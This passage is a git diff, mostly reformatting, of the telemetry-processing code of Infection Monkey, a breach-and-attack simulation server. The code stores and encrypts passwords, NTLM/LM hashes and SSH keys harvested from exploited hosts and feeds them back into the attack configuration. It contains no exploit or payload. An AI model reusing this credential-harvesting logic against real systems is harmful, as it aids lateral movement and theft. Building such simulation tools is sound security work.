diff --git a/monkey/monkey_island/cc/services/telemetry/processing/exploit.py b/monkey/monkey_island/cc/services/telemetry/processing/exploit.py
index 3d8588663..6eb759b21 100644
--- a/monkey/monkey_island/cc/services/telemetry/processing/exploit.py
+++ b/monkey/monkey_island/cc/services/telemetry/processing/exploit.py
@@ -2,13 +2,17 @@ import copy
import dateutil
-from monkey_island.cc.server_utils.encryptor import encryptor
from monkey_island.cc.models import Monkey
+from monkey_island.cc.server_utils.encryptor import get_encryptor
from monkey_island.cc.services.config import ConfigService
from monkey_island.cc.services.edge.displayed_edge import EdgeService
from monkey_island.cc.services.node import NodeService
-from monkey_island.cc.services.telemetry.processing.utils import get_edge_by_scan_or_exploit_telemetry
-from monkey_island.cc.services.telemetry.zero_trust_checks.machine_exploited import check_machine_exploited
+from monkey_island.cc.services.telemetry.processing.utils import (
+ get_edge_by_scan_or_exploit_telemetry,
+)
+from monkey_island.cc.services.telemetry.zero_trust_checks.machine_exploited import (
+ check_machine_exploited,
+)
def process_exploit_telemetry(telemetry_json):
@@ -19,51 +23,56 @@ def process_exploit_telemetry(telemetry_json):
add_exploit_extracted_creds_to_config(telemetry_json)
check_machine_exploited(
- current_monkey=Monkey.get_single_monkey_by_guid(telemetry_json['monkey_guid']),
- exploit_successful=telemetry_json['data']['result'],
- exploiter=telemetry_json['data']['exploiter'],
- target_ip=telemetry_json['data']['machine']['ip_addr'],
- timestamp=telemetry_json['timestamp'])
+ current_monkey=Monkey.get_single_monkey_by_guid(telemetry_json["monkey_guid"]),
+ exploit_successful=telemetry_json["data"]["result"],
+ exploiter=telemetry_json["data"]["exploiter"],
+ target_ip=telemetry_json["data"]["machine"]["ip_addr"],
+ timestamp=telemetry_json["timestamp"],
+ )
def add_exploit_extracted_creds_to_config(telemetry_json):
- if 'credentials' in telemetry_json['data']['info']:
- creds = telemetry_json['data']['info']['credentials']
+ if "credentials" in telemetry_json["data"]["info"]:
+ creds = telemetry_json["data"]["info"]["credentials"]
for user in creds:
- ConfigService.creds_add_username(creds[user]['username'])
- if 'password' in creds[user] and creds[user]['password']:
- ConfigService.creds_add_password(creds[user]['password'])
- if 'lm_hash' in creds[user] and creds[user]['lm_hash']:
- ConfigService.creds_add_lm_hash(creds[user]['lm_hash'])
- if 'ntlm_hash' in creds[user] and creds[user]['ntlm_hash']:
- ConfigService.creds_add_ntlm_hash(creds[user]['ntlm_hash'])
+ ConfigService.creds_add_username(creds[user]["username"])
+ if "password" in creds[user] and creds[user]["password"]:
+ ConfigService.creds_add_password(creds[user]["password"])
+ if "lm_hash" in creds[user] and creds[user]["lm_hash"]:
+ ConfigService.creds_add_lm_hash(creds[user]["lm_hash"])
+ if "ntlm_hash" in creds[user] and creds[user]["ntlm_hash"]:
+ ConfigService.creds_add_ntlm_hash(creds[user]["ntlm_hash"])
def update_node_credentials_from_successful_attempts(edge: EdgeService, telemetry_json):
- for attempt in telemetry_json['data']['attempts']:
- if attempt['result']:
- found_creds = {'user': attempt['user']}
- for field in ['password', 'lm_hash', 'ntlm_hash', 'ssh_key']:
+ for attempt in telemetry_json["data"]["attempts"]:
+ if attempt["result"]:
+ found_creds = {"user": attempt["user"]}
+ for field in ["password", "lm_hash", "ntlm_hash", "ssh_key"]:
if len(attempt[field]) != 0:
found_creds[field] = attempt[field]
NodeService.add_credentials_to_node(edge.dst_node_id, found_creds)
def update_network_with_exploit(edge: EdgeService, telemetry_json):
- telemetry_json['data']['info']['started'] = dateutil.parser.parse(telemetry_json['data']['info']['started'])
- telemetry_json['data']['info']['finished'] = dateutil.parser.parse(telemetry_json['data']['info']['finished'])
- new_exploit = copy.deepcopy(telemetry_json['data'])
- new_exploit.pop('machine')
- new_exploit['timestamp'] = telemetry_json['timestamp']
+ telemetry_json["data"]["info"]["started"] = dateutil.parser.parse(
+ telemetry_json["data"]["info"]["started"]
+ )
+ telemetry_json["data"]["info"]["finished"] = dateutil.parser.parse(
+ telemetry_json["data"]["info"]["finished"]
+ )
+ new_exploit = copy.deepcopy(telemetry_json["data"])
+ new_exploit.pop("machine")
+ new_exploit["timestamp"] = telemetry_json["timestamp"]
edge.update_based_on_exploit(new_exploit)
- if new_exploit['result']:
+ if new_exploit["result"]:
NodeService.set_node_exploited(edge.dst_node_id)
def encrypt_exploit_creds(telemetry_json):
- attempts = telemetry_json['data']['attempts']
+ attempts = telemetry_json["data"]["attempts"]
for i in range(len(attempts)):
- for field in ['password', 'lm_hash', 'ntlm_hash']:
+ for field in ["password", "lm_hash", "ntlm_hash"]:
credential = attempts[i][field]
if len(credential) > 0:
- attempts[i][field] = encryptor.enc(credential)
+ attempts[i][field] = get_encryptor().enc(credential)
diff --git a/monkey/monkey_island/cc/services/telemetry/processing/post_breach.py b/monkey/monkey_island/cc/services/telemetry/processing/post_breach.py
index b06b638c8..be7b6e7ea 100644
--- a/monkey/monkey_island/cc/services/telemetry/processing/post_breach.py
+++ b/monkey/monkey_island/cc/services/telemetry/processing/post_breach.py
@@ -3,15 +3,17 @@ import copy
from common.common_consts.post_breach_consts import POST_BREACH_COMMUNICATE_AS_NEW_USER
from monkey_island.cc.database import mongo
from monkey_island.cc.models import Monkey
-from monkey_island.cc.services.telemetry.zero_trust_checks.communicate_as_new_user import check_new_user_communication
+from monkey_island.cc.services.telemetry.zero_trust_checks.communicate_as_new_user import (
+ check_new_user_communication,
+)
EXECUTION_WITHOUT_OUTPUT = "(PBA execution produced no output)"
def process_communicate_as_new_user_telemetry(telemetry_json):
- current_monkey = Monkey.get_single_monkey_by_guid(telemetry_json['monkey_guid'])
- message = telemetry_json['data']['result'][0]
- success = telemetry_json['data']['result'][1]
+ current_monkey = Monkey.get_single_monkey_by_guid(telemetry_json["monkey_guid"])
+ message = telemetry_json["data"]["result"][0]
+ success = telemetry_json["data"]["result"][1]
check_new_user_communication(current_monkey, success, message)
@@ -23,35 +25,35 @@ POST_BREACH_TELEMETRY_PROCESSING_FUNCS = {
def process_post_breach_telemetry(telemetry_json):
def convert_telem_data_to_list(data):
modified_data = [data]
- if type(data['result'][0]) is list: # multiple results in one pba
+ if type(data["result"][0]) is list: # multiple results in one pba
modified_data = separate_results_to_single_pba_telems(data)
return modified_data
def separate_results_to_single_pba_telems(data):
modified_data = []
- for result in data['result']:
+ for result in data["result"]:
temp = copy.deepcopy(data)
- temp['result'] = result
+ temp["result"] = result
modified_data.append(temp)
return modified_data
def add_message_for_blank_outputs(data):
- if not data['result'][0]:
- data['result'][0] = EXECUTION_WITHOUT_OUTPUT
+ if not data["result"][0]:
+ data["result"][0] = EXECUTION_WITHOUT_OUTPUT
return data
post_breach_action_name = telemetry_json["data"]["name"]
if post_breach_action_name in POST_BREACH_TELEMETRY_PROCESSING_FUNCS:
POST_BREACH_TELEMETRY_PROCESSING_FUNCS[post_breach_action_name](telemetry_json)
- telemetry_json['data'] = convert_telem_data_to_list(telemetry_json['data'])
+ telemetry_json["data"] = convert_telem_data_to_list(telemetry_json["data"])
- for pba_data in telemetry_json['data']:
+ for pba_data in telemetry_json["data"]:
pba_data = add_message_for_blank_outputs(pba_data)
update_data(telemetry_json, pba_data)
def update_data(telemetry_json, data):
mongo.db.monkey.update(
- {'guid': telemetry_json['monkey_guid']},
- {'$push': {'pba_results': data}})
+ {"guid": telemetry_json["monkey_guid"]}, {"$push": {"pba_results": data}}
+ )
diff --git a/monkey/monkey_island/cc/services/telemetry/processing/processing.py b/monkey/monkey_island/cc/services/telemetry/processing/processing.py
index 151fd672f..667928d3c 100644
--- a/monkey/monkey_island/cc/services/telemetry/processing/processing.py
+++ b/monkey/monkey_island/cc/services/telemetry/processing/processing.py
@@ -11,27 +11,28 @@ from monkey_island.cc.services.telemetry.processing.tunnel import process_tunnel
logger = logging.getLogger(__name__)
-TELEMETRY_CATEGORY_TO_PROCESSING_FUNC = \
- {
- TelemCategoryEnum.TUNNEL: process_tunnel_telemetry,
- TelemCategoryEnum.STATE: process_state_telemetry,
- TelemCategoryEnum.EXPLOIT: process_exploit_telemetry,
- TelemCategoryEnum.SCAN: process_scan_telemetry,
- TelemCategoryEnum.SYSTEM_INFO: process_system_info_telemetry,
- TelemCategoryEnum.POST_BREACH: process_post_breach_telemetry,
- TelemCategoryEnum.SCOUTSUITE: process_scoutsuite_telemetry,
- # `lambda *args, **kwargs: None` is a no-op.
- TelemCategoryEnum.TRACE: lambda *args, **kwargs: None,
- TelemCategoryEnum.ATTACK: lambda *args, **kwargs: None,
- }
+TELEMETRY_CATEGORY_TO_PROCESSING_FUNC = {
+ TelemCategoryEnum.TUNNEL: process_tunnel_telemetry,
+ TelemCategoryEnum.STATE: process_state_telemetry,
+ TelemCategoryEnum.EXPLOIT: process_exploit_telemetry,
+ TelemCategoryEnum.SCAN: process_scan_telemetry,
+ TelemCategoryEnum.SYSTEM_INFO: process_system_info_telemetry,
+ TelemCategoryEnum.POST_BREACH: process_post_breach_telemetry,
+ TelemCategoryEnum.SCOUTSUITE: process_scoutsuite_telemetry,
+ # `lambda *args, **kwargs: None` is a no-op.
+ TelemCategoryEnum.TRACE: lambda *args, **kwargs: None,
+ TelemCategoryEnum.ATTACK: lambda *args, **kwargs: None,
+}
def process_telemetry(telemetry_json):
try:
- telem_category = telemetry_json.get('telem_category')
+ telem_category = telemetry_json.get("telem_category")
if telem_category in TELEMETRY_CATEGORY_TO_PROCESSING_FUNC:
TELEMETRY_CATEGORY_TO_PROCESSING_FUNC[telem_category](telemetry_json)
else:
- logger.info('Got unknown type of telemetry: %s' % telem_category)
+ logger.info("Got unknown type of telemetry: %s" % telem_category)
except Exception as ex:
- logger.error("Exception caught while processing telemetry. Info: {}".format(ex), exc_info=True)
+ logger.error(
+ "Exception caught while processing telemetry. Info: {}".format(ex), exc_info=True
+ )
diff --git a/monkey/monkey_island/cc/services/telemetry/processing/scan.py b/monkey/monkey_island/cc/services/telemetry/processing/scan.py
index d0b204d16..764cd3044 100644
--- a/monkey/monkey_island/cc/services/telemetry/processing/scan.py
+++ b/monkey/monkey_island/cc/services/telemetry/processing/scan.py
@@ -1,17 +1,23 @@
from monkey_island.cc.database import mongo
from monkey_island.cc.models import Monkey
from monkey_island.cc.services.node import NodeService
-from monkey_island.cc.services.telemetry.processing.utils import get_edge_by_scan_or_exploit_telemetry
-from monkey_island.cc.services.telemetry.zero_trust_checks.data_endpoints import check_open_data_endpoints
-from monkey_island.cc.services.telemetry.zero_trust_checks.segmentation import check_segmentation_violation
+from monkey_island.cc.services.telemetry.processing.utils import (
+ get_edge_by_scan_or_exploit_telemetry,
+)
+from monkey_island.cc.services.telemetry.zero_trust_checks.data_endpoints import (
+ check_open_data_endpoints,
+)
+from monkey_island.cc.services.telemetry.zero_trust_checks.segmentation import (
+ check_segmentation_violation,
+)
def process_scan_telemetry(telemetry_json):
update_edges_and_nodes_based_on_scan_telemetry(telemetry_json)
check_open_data_endpoints(telemetry_json)
- current_monkey = Monkey.get_single_monkey_by_guid(telemetry_json['monkey_guid'])
- target_ip = telemetry_json['data']['machine']['ip_addr']
+ current_monkey = Monkey.get_single_monkey_by_guid(telemetry_json["monkey_guid"])
+ target_ip = telemetry_json["data"]["machine"]["ip_addr"]
check_segmentation_violation(current_monkey, target_ip)
@@ -21,14 +27,14 @@ def update_edges_and_nodes_based_on_scan_telemetry(telemetry_json):
node = mongo.db.node.find_one({"_id": edge.dst_node_id})
if node is not None:
- scan_os = telemetry_json['data']['machine']["os"]
+ scan_os = telemetry_json["data"]["machine"]["os"]
if "type" in scan_os:
- mongo.db.node.update({"_id": node["_id"]},
- {"$set": {"os.type": scan_os["type"]}},
- upsert=False)
+ mongo.db.node.update(
+ {"_id": node["_id"]}, {"$set": {"os.type": scan_os["type"]}}, upsert=False
+ )
if "version" in scan_os:
- mongo.db.node.update({"_id": node["_id"]},
- {"$set": {"os.version": scan_os["version"]}},
- upsert=False)
+ mongo.db.node.update(
+ {"_id": node["_id"]}, {"$set": {"os.version": scan_os["version"]}}, upsert=False
+ )
label = NodeService.get_label_for_endpoint(node["_id"])
edge.update_label(node["_id"], label)
diff --git a/monkey/monkey_island/cc/services/telemetry/processing/scoutsuite.py b/monkey/monkey_island/cc/services/telemetry/processing/scoutsuite.py
index 9160861ea..5f2677bcb 100644
--- a/monkey/monkey_island/cc/services/telemetry/processing/scoutsuite.py
+++ b/monkey/monkey_island/cc/services/telemetry/processing/scoutsuite.py
@@ -2,18 +2,24 @@ import json
from monkey_island.cc.database import mongo
from monkey_island.cc.models.zero_trust.scoutsuite_data_json import ScoutSuiteRawDataJson
-from monkey_island.cc.services.zero_trust.scoutsuite.consts.scoutsuite_findings_list import SCOUTSUITE_FINDINGS
+from monkey_island.cc.services.zero_trust.scoutsuite.consts.scoutsuite_findings_list import (
+ SCOUTSUITE_FINDINGS,
+)
from monkey_island.cc.services.zero_trust.scoutsuite.consts.service_consts import SERVICES
from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_parser import RuleParser
-from monkey_island.cc.services.zero_trust.scoutsuite.scoutsuite_rule_service import ScoutSuiteRuleService
-from monkey_island.cc.services.zero_trust.scoutsuite.scoutsuite_zt_finding_service import ScoutSuiteZTFindingService
+from monkey_island.cc.services.zero_trust.scoutsuite.scoutsuite_rule_service import (
+ ScoutSuiteRuleService,
+)
+from monkey_island.cc.services.zero_trust.scoutsuite.scoutsuite_zt_finding_service import (
+ ScoutSuiteZTFindingService,
+)
def process_scoutsuite_telemetry(telemetry_json):
# Encode data to json, because mongo can't save it as document (invalid document keys)
- telemetry_json['data'] = json.dumps(telemetry_json['data'])
- ScoutSuiteRawDataJson.add_scoutsuite_data(telemetry_json['data'])
- scoutsuite_data = json.loads(telemetry_json['data'])['data']
+ telemetry_json["data"] = json.dumps(telemetry_json["data"])
+ ScoutSuiteRawDataJson.add_scoutsuite_data(telemetry_json["data"])
+ scoutsuite_data = json.loads(telemetry_json["data"])["data"]
create_scoutsuite_findings(scoutsuite_data[SERVICES])
update_data(telemetry_json)
@@ -28,5 +34,5 @@ def create_scoutsuite_findings(cloud_services: dict):
def update_data(telemetry_json):
mongo.db.scoutsuite.insert_one(
- {'guid': telemetry_json['monkey_guid']},
- {'results': telemetry_json['data']})
+ {"guid": telemetry_json["monkey_guid"]}, {"results": telemetry_json["data"]}
+ )
diff --git a/monkey/monkey_island/cc/services/telemetry/processing/state.py b/monkey/monkey_island/cc/services/telemetry/processing/state.py
index 4f596fb88..87e7797c2 100644
--- a/monkey/monkey_island/cc/services/telemetry/processing/state.py
+++ b/monkey/monkey_island/cc/services/telemetry/processing/state.py
@@ -2,23 +2,27 @@ import logging
from monkey_island.cc.models import Monkey
from monkey_island.cc.services.node import NodeService
-from monkey_island.cc.services.telemetry.zero_trust_checks.segmentation import \
- check_passed_findings_for_unreached_segments
+from monkey_island.cc.services.telemetry.zero_trust_checks.segmentation import (
+ check_passed_findings_for_unreached_segments,
+)
logger = logging.getLogger(__name__)
def process_state_telemetry(telemetry_json):
- monkey = NodeService.get_monkey_by_guid(telemetry_json['monkey_guid'])
- NodeService.add_communication_info(monkey, telemetry_json['command_control_channel'])
- if telemetry_json['data']['done']:
+ monkey = NodeService.get_monkey_by_guid(telemetry_json["monkey_guid"])
+ NodeService.add_communication_info(monkey, telemetry_json["command_control_channel"])
+ if telemetry_json["data"]["done"]:
NodeService.set_monkey_dead(monkey, True)
else:
NodeService.set_monkey_dead(monkey, False)
- if telemetry_json['data']['done']:
- current_monkey = Monkey.get_single_monkey_by_guid(telemetry_json['monkey_guid'])
+ if telemetry_json["data"]["done"]:
+ current_monkey = Monkey.get_single_monkey_by_guid(telemetry_json["monkey_guid"])
check_passed_findings_for_unreached_segments(current_monkey)
- if telemetry_json['data']['version']:
- logger.info(f"monkey {telemetry_json['monkey_guid']} has version {telemetry_json['data']['version']}")
+ if telemetry_json["data"]["version"]:
+ logger.info(
+ f"monkey {telemetry_json['monkey_guid']} has version "
+ f"{telemetry_json['data']['version']}"
+ )
diff --git a/monkey/monkey_island/cc/services/telemetry/processing/system_info.py b/monkey/monkey_island/cc/services/telemetry/processing/system_info.py
index d3e7cfb54..73a81e332 100644
--- a/monkey/monkey_island/cc/services/telemetry/processing/system_info.py
+++ b/monkey/monkey_island/cc/services/telemetry/processing/system_info.py
@@ -1,10 +1,11 @@
import logging
-from monkey_island.cc.server_utils.encryptor import encryptor
+from monkey_island.cc.server_utils.encryptor import get_encryptor
from monkey_island.cc.services.config import ConfigService
from monkey_island.cc.services.node import NodeService
-from monkey_island.cc.services.telemetry.processing.system_info_collectors.system_info_telemetry_dispatcher import \
- SystemInfoTelemetryDispatcher
+from monkey_island.cc.services.telemetry.processing.system_info_collectors.system_info_telemetry_dispatcher import ( # noqa: E501
+ SystemInfoTelemetryDispatcher,
+)
from monkey_island.cc.services.wmi_handler import WMIHandler
logger = logging.getLogger(__name__)
@@ -16,10 +17,11 @@ def process_system_info_telemetry(telemetry_json):
process_ssh_info,
process_credential_info,
process_wmi_info,
- dispatcher.dispatch_collector_results_to_relevant_processors
+ dispatcher.dispatch_collector_results_to_relevant_processors,
]
- # Calling safe_process_telemetry so if one of the stages fail, we log and move on instead of failing the rest of
+ # Calling safe_process_telemetry so if one of the stages fail, we log and move on instead of
+ # failing the rest of
# them, as they are independent.
for stage in telemetry_processing_stages:
safe_process_telemetry(stage, telemetry_json)
@@ -31,70 +33,75 @@ def safe_process_telemetry(processing_function, telemetry_json):
processing_function(telemetry_json)
except Exception as err:
logger.error(
- "Error {} while in {} stage of processing telemetry.".format(str(err), processing_function.__name__),
- exc_info=True)
+ "Error {} while in {} stage of processing telemetry.".format(
+ str(err), processing_function.__name__
+ ),
+ exc_info=True,
+ )
def process_ssh_info(telemetry_json):
- if 'ssh_info' in telemetry_json['data']:
- ssh_info = telemetry_json['data']['ssh_info']
+ if "ssh_info" in telemetry_json["data"]:
+ ssh_info = telemetry_json["data"]["ssh_info"]
encrypt_system_info_ssh_keys(ssh_info)
- if telemetry_json['data']['network_info']['networks']:
- # We use user_name@machine_ip as the name of the ssh key stolen, thats why we need ip from telemetry
- add_ip_to_ssh_keys(telemetry_json['data']['network_info']['networks'][0], ssh_info)
+ if telemetry_json["data"]["network_info"]["networks"]:
+ # We use user_name@machine_ip as the name of the ssh key stolen, thats why we need ip
+ # from telemetry
+ add_ip_to_ssh_keys(telemetry_json["data"]["network_info"]["networks"][0], ssh_info)
add_system_info_ssh_keys_to_config(ssh_info)
def add_system_info_ssh_keys_to_config(ssh_info):
for user in ssh_info:
- ConfigService.creds_add_username(user['name'])
+ ConfigService.creds_add_username(user["name"])
# Public key is useless without private key
- if user['public_key'] and user['private_key']:
- ConfigService.ssh_add_keys(user['public_key'], user['private_key'],
- user['name'], user['ip'])
+ if user["public_key"] and user["private_key"]:
+ ConfigService.ssh_add_keys(
+ user["public_key"], user["private_key"], user["name"], user["ip"]
+ )
def add_ip_to_ssh_keys(ip, ssh_info):
for key in ssh_info:
- key['ip'] = ip['addr']
+ key["ip"] = ip["addr"]
def encrypt_system_info_ssh_keys(ssh_info):
for idx, user in enumerate(ssh_info):
- for field in ['public_key', 'private_key', 'known_hosts']:
+ for field in ["public_key", "private_key", "known_hosts"]:
if ssh_info[idx][field]:
- ssh_info[idx][field] = encryptor.enc(ssh_info[idx][field])
+ ssh_info[idx][field] = get_encryptor().enc(ssh_info[idx][field])
def process_credential_info(telemetry_json):
- if 'credentials' in telemetry_json['data']:
- creds = telemetry_json['data']['credentials']
+ if "credentials" in telemetry_json["data"]:
+ creds = telemetry_json["data"]["credentials"]
add_system_info_creds_to_config(creds)
replace_user_dot_with_comma(creds)
def replace_user_dot_with_comma(creds):
for user in creds:
- if -1 != user.find('.'):
- new_user = user.replace('.', ',')
+ if -1 != user.find("."):
+ new_user = user.replace(".", ",")
creds[new_user] = creds.pop(user)
def add_system_info_creds_to_config(creds):
for user in creds:
- ConfigService.creds_add_username(creds[user]['username'])
- if 'password' in creds[user] and creds[user]['password']:
- ConfigService.creds_add_password(creds[user]['password'])
- if 'lm_hash' in creds[user] and creds[user]['lm_hash']:
- ConfigService.creds_add_lm_hash(creds[user]['lm_hash'])
- if 'ntlm_hash' in creds[user] and creds[user]['ntlm_hash']:
- ConfigService.creds_add_ntlm_hash(creds[user]['ntlm_hash'])
+ ConfigService.creds_add_username(creds[user]["username"])
+ if "password" in creds[user] and creds[user]["password"]:
+ ConfigService.creds_add_password(creds[user]["password"])
+ if "lm_hash" in creds[user] and creds[user]["lm_hash"]:
+ ConfigService.creds_add_lm_hash(creds[user]["lm_hash"])
+ if "ntlm_hash" in creds[user] and creds[user]["ntlm_hash"]:
+ ConfigService.creds_add_ntlm_hash(creds[user]["ntlm_hash"])
def process_wmi_info(telemetry_json):
users_secrets = {}
- if 'wmi' in telemetry_json['data']:
- monkey_id = NodeService.get_monkey_by_guid(telemetry_json['monkey_guid']).get('_id')
- wmi_handler = WMIHandler(monkey_id, telemetry_json['data']['wmi'], users_secrets)
+ if "wmi" in telemetry_json["data"]:
+ monkey_id = NodeService.get_monkey_by_guid(telemetry_json["monkey_guid"]).get("_id")
+ wmi_handler = WMIHandler(monkey_id, telemetry_json["data"]["wmi"], users_secrets)
wmi_handler.process_and_handle_wmi_info()
diff --git a/monkey/monkey_island/cc/services/telemetry/processing/system_info_collectors/aws.py b/monkey/monkey_island/cc/services/telemetry/processing/system_info_collectors/aws.py
index 2b4d8085e..0fae438d4 100644
--- a/monkey/monkey_island/cc/services/telemetry/processing/system_info_collectors/aws.py
+++ b/monkey/monkey_island/cc/services/telemetry/processing/system_info_collectors/aws.py
@@ -12,4 +12,6 @@ def process_aws_telemetry(collector_results, monkey_guid):
instance_id = collector_results["instance_id"]
relevant_monkey.aws_instance_id = instance_id
relevant_monkey.save()
- logger.debug("Updated Monkey {} with aws instance id {}".format(str(relevant_monkey), instance_id))
+ logger.debug(
+ "Updated Monkey {} with aws instance id {}".format(str(relevant_monkey), instance_id)
+ )
diff --git a/monkey/monkey_island/cc/services/telemetry/processing/system_info_collectors/system_info_telemetry_dispatcher.py b/monkey/monkey_island/cc/services/telemetry/processing/system_info_collectors/system_info_telemetry_dispatcher.py
index 6d9ec8492..7ce4b6fcf 100644
--- a/monkey/monkey_island/cc/services/telemetry/processing/system_info_collectors/system_info_telemetry_dispatcher.py
+++ b/monkey/monkey_island/cc/services/telemetry/processing/system_info_collectors/system_info_telemetry_dispatcher.py
@@ -1,13 +1,24 @@
import logging
import typing
-from common.common_consts.system_info_collectors_names import (AWS_COLLECTOR, ENVIRONMENT_COLLECTOR, HOSTNAME_COLLECTOR,
- PROCESS_LIST_COLLECTOR)
-from monkey_island.cc.services.telemetry.processing.system_info_collectors.aws import process_aws_telemetry
-from monkey_island.cc.services.telemetry.processing.system_info_collectors.environment import \
- process_environment_telemetry
-from monkey_island.cc.services.telemetry.processing.system_info_collectors.hostname import process_hostname_telemetry
-from monkey_island.cc.services.telemetry.zero_trust_checks.antivirus_existence import check_antivirus_existence
+from common.common_consts.system_info_collectors_names import (
+ AWS_COLLECTOR,
+ ENVIRONMENT_COLLECTOR,
+ HOSTNAME_COLLECTOR,
+ PROCESS_LIST_COLLECTOR,
+)
+from monkey_island.cc.services.telemetry.processing.system_info_collectors.aws import (
+ process_aws_telemetry,
+)
+from monkey_island.cc.services.telemetry.processing.system_info_collectors.environment import (
+ process_environment_telemetry,
+)
+from monkey_island.cc.services.telemetry.processing.system_info_collectors.hostname import (
+ process_hostname_telemetry,
+)
+from monkey_island.cc.services.telemetry.zero_trust_checks.antivirus_existence import (
+ check_antivirus_existence,
+)
logger = logging.getLogger(__name__)
@@ -15,12 +26,15 @@ SYSTEM_INFO_COLLECTOR_TO_TELEMETRY_PROCESSORS = {
AWS_COLLECTOR: [process_aws_telemetry],
ENVIRONMENT_COLLECTOR: [process_environment_telemetry],
HOSTNAME_COLLECTOR: [process_hostname_telemetry],
- PROCESS_LIST_COLLECTOR: [check_antivirus_existence]
+ PROCESS_LIST_COLLECTOR: [check_antivirus_existence],
}
class SystemInfoTelemetryDispatcher(object):
- def __init__(self, collector_to_parsing_functions: typing.Mapping[str, typing.List[typing.Callable]] = None):
+ def __init__(
+ self,
+ collector_to_parsing_functions: typing.Mapping[str, typing.List[typing.Callable]] = None,
+ ):
"""
:param collector_to_parsing_functions: Map between collector names and a list of functions
that process the output of that collector.
@@ -33,26 +47,24 @@ class SystemInfoTelemetryDispatcher(object):
def dispatch_collector_results_to_relevant_processors(self, telemetry_json):
"""
- If the telemetry has collectors' results, dispatches the results to the relevant processing functions.
+ If the telemetry has collectors' results, dispatches the results to the relevant
+ processing functions.
:param telemetry_json: Telemetry sent from the Monkey
"""
if "collectors" in telemetry_json["data"]:
self.dispatch_single_result_to_relevant_processor(telemetry_json)
def dispatch_single_result_to_relevant_processor(self, telemetry_json):
- relevant_monkey_guid = telemetry_json['monkey_guid']
+ relevant_monkey_guid = telemetry_json["monkey_guid"]
for collector_name, collector_results in telemetry_json["data"]["collectors"].items():
self.dispatch_result_of_single_collector_to_processing_functions(
- collector_name,
- collector_results,
- relevant_monkey_guid)
+ collector_name, collector_results, relevant_monkey_guid
+ )
def dispatch_result_of_single_collector_to_processing_functions(
- self,
- collector_name,
- collector_results,
- relevant_monkey_guid):
+ self, collector_name, collector_results, relevant_monkey_guid
+ ):
if collector_name in self.collector_to_processing_functions:
for processing_function in self.collector_to_processing_functions[collector_name]:
# noinspection PyBroadException
@@ -60,7 +72,10 @@ class SystemInfoTelemetryDispatcher(object):
processing_function(collector_results, relevant_monkey_guid)
except Exception as e:
logger.error(
- "Error {} while processing {} system info telemetry".format(str(e), collector_name),
- exc_info=True)
+ "Error {} while processing {} system info telemetry".format(
+ str(e), collector_name
+ ),
+ exc_info=True,
+ )
else:
logger.warning("Unknown system info collector name: {}".format(collector_name))
diff --git a/monkey/monkey_island/cc/services/telemetry/processing/test_post_breach.py b/monkey/monkey_island/cc/services/telemetry/processing/test_post_breach.py
deleted file mode 100644
index 0999e285e..000000000
--- a/monkey/monkey_island/cc/services/telemetry/processing/test_post_breach.py
+++ /dev/null
@@ -1,85 +0,0 @@
-from unittest.mock import Mock
-
-import monkey_island.cc.services.telemetry.processing.post_breach as post_breach
-
-from .post_breach import EXECUTION_WITHOUT_OUTPUT
-
-original_telem_multiple_results =\
- {
- 'data': {
- 'command': 'COMMAND',
- 'hostname': 'HOST',
- 'ip': '127.0.1.1',
- 'name': 'PBA NAME',
- 'result': [
- ['SUCCESSFUL', True],
- ['UNSUCCESFUL', False],
- ['', True]
- ]
- },
- 'telem_category': 'post_breach'
- }
-
-expected_telem_multiple_results =\
- {
- 'data': [
- {
- 'command': 'COMMAND',
- 'hostname': 'HOST',
- 'ip': '127.0.1.1',
- 'name': 'PBA NAME',
- 'result': ['SUCCESSFUL', True]
- },
- {
- 'command': 'COMMAND',
- 'hostname': 'HOST',
- 'ip': '127.0.1.1',
- 'name': 'PBA NAME',
- 'result': ['UNSUCCESFUL', False]
- },
- {
- 'command': 'COMMAND',
- 'hostname': 'HOST',
- 'ip': '127.0.1.1',
- 'name': 'PBA NAME',
- 'result': [EXECUTION_WITHOUT_OUTPUT, True]
- }
- ],
- 'telem_category': 'post_breach'
- }
-
-original_telem_single_result =\
- {
- 'data': {
- 'command': 'COMMAND',
- 'hostname': 'HOST',
- 'ip': '127.0.1.1',
- 'name': 'PBA NAME',
- 'result': ['', True]
- },
- 'telem_category': 'post_breach'
- }
-
-expected_telem_single_result =\
- {
- 'data': [
- {
- 'command': 'COMMAND',
- 'hostname': 'HOST',
- 'ip': '127.0.1.1',
- 'name': 'PBA NAME',
- 'result': [EXECUTION_WITHOUT_OUTPUT, True]
- },
- ],
- 'telem_category': 'post_breach'
- }
-
-
-def test_process_post_breach_telemetry():
- post_breach.update_data = Mock() # actual behavior of update_data() is to access mongodb
- # multiple results in PBA
- post_breach.process_post_breach_telemetry(original_telem_multiple_results)
- assert original_telem_multiple_results == expected_telem_multiple_results
- # single result in PBA
- post_breach.process_post_breach_telemetry(original_telem_single_result)
- assert original_telem_single_result == expected_telem_single_result
diff --git a/monkey/monkey_island/cc/services/telemetry/processing/tunnel.py b/monkey/monkey_island/cc/services/telemetry/processing/tunnel.py
index 1e20e5443..4464eb82a 100644
--- a/monkey/monkey_island/cc/services/telemetry/processing/tunnel.py
+++ b/monkey/monkey_island/cc/services/telemetry/processing/tunnel.py
@@ -1,12 +1,14 @@
from monkey_island.cc.services.node import NodeService
from monkey_island.cc.services.telemetry.processing.utils import get_tunnel_host_ip_from_proxy_field
-from monkey_island.cc.services.telemetry.zero_trust_checks.tunneling import check_tunneling_violation
+from monkey_island.cc.services.telemetry.zero_trust_checks.tunneling import (
+ check_tunneling_violation,
+)
def process_tunnel_telemetry(telemetry_json):
check_tunneling_violation(telemetry_json)
- monkey_id = NodeService.get_monkey_by_guid(telemetry_json['monkey_guid'])["_id"]
- if telemetry_json['data']['proxy'] is not None:
+ monkey_id = NodeService.get_monkey_by_guid(telemetry_json["monkey_guid"])["_id"]
+ if telemetry_json["data"]["proxy"] is not None:
tunnel_host_ip = get_tunnel_host_ip_from_proxy_field(telemetry_json)
NodeService.set_monkey_tunnel(monkey_id, tunnel_host_ip)
else:
diff --git a/monkey/monkey_island/cc/services/telemetry/processing/utils.py b/monkey/monkey_island/cc/services/telemetry/processing/utils.py
index df898945e..ffa6960f6 100644
--- a/monkey/monkey_island/cc/services/telemetry/processing/utils.py
+++ b/monkey/monkey_island/cc/services/telemetry/processing/utils.py
@@ -3,9 +3,9 @@ from monkey_island.cc.services.node import NodeService
def get_edge_by_scan_or_exploit_telemetry(telemetry_json):
- dst_ip = telemetry_json['data']['machine']['ip_addr']
- dst_domain_name = telemetry_json['data']['machine']['domain_name']
